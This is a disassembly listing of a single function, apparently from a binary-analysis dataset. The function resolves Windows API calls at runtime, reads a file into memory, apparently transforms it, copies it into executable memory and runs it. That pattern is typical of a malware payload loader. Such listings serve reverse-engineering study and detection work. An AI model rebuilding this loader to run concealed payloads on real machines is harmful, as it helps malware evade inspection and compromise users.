Function at 0x100010f0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x1000b078]
xor eax, esp
mov dword [esp + 0x110], eax
push ebx
push esi
push edi
mov edi, ecx
mov ecx, 0x13
lea esi, [esp + 0x18]
call fcn.10001b00
mov eax, dword [0x1000c8d4]
test eax, eax
jne 0x10001150
mov eax, dword [0x1000c8c8]
test eax, eax
jne 0x1000113f
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1000c8c8], eax
push str.CreateFileW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000c8d4], eax
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push edi
call eax
mov esi, eax
mov dword [esp + 0x10], esi
cmp esi, 0xffffffff
je 0x100011ef
mov eax, dword [0x1000c8d8]
test eax, eax
jne 0x100011a3
mov eax, dword [0x1000c8c8]
test eax, eax
jne 0x10001192
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1000c8c8], eax
push str.GetFileSize
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000c8d8], eax
push 0
push esi
call eax
mov edi, eax
push edi
call fcn.10001d01
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x10001206
mov eax, dword [0x1000c8d0]
test eax, eax
jne 0x100011ec
mov eax, dword [0x1000c8c8]
test eax, eax
jne 0x100011db
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1000c8c8], eax
push str.CloseHandle
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000c8d0], eax
push esi
call eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x110]
xor ecx, esp
call fcn.10001d0c
mov esp, ebp
pop ebp
ret
push edi
push 0
push ebx
call fcn.100056d0
add esp, 0xc
xor esi, esi
mov dword [esp + 0x14], esi
jmp 0x10001220
mov eax, dword [0x1000c8dc]
test eax, eax
jne 0x10001253
mov eax, dword [0x1000c8c8]
test eax, eax
jne 0x10001242
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1000c8c8], eax
push str.ReadFile
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000c8dc], eax
push 0
lea ecx, [esp + 0x18]
push ecx
mov edx, edi
sub edx, esi
push edx
mov edx, dword [esp + 0x1c]
lea ecx, [esi + ebx]
push ecx
push edx
call eax
add esi, dword [esp + 0x14]
cmp esi, edi
jb 0x10001220
mov eax, dword [0x1000c8d0]
test eax, eax
jne 0x100012a5
mov eax, dword [0x1000c8c8]
test eax, eax
jne 0x10001294
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1000c8c8], eax
push str.CloseHandle
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000c8d0], eax
mov ecx, dword [esp + 0x10]
push ecx
call eax
push edi
push ebx
lea eax, [esp + 0x20]
call fcn.10001bb0
mov eax, dword [0x1000c8cc]
test eax, eax
jne 0x100012ea
mov eax, dword [0x1000c8c8]
test eax, eax
jne 0x100012d9
push str.kernel32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1000c8c8], eax
push str.VirtualAlloc
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1000c8cc], eax
push 0x40
push 0x1000
push edi
push 0
call eax
push edi
mov esi, eax
push ebx
push esi
call fcn.10006520
add esp, 0xc
call esi
mov ecx, dword [esp + 0x11c]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10001d0c
mov esp, ebp
pop ebp
ret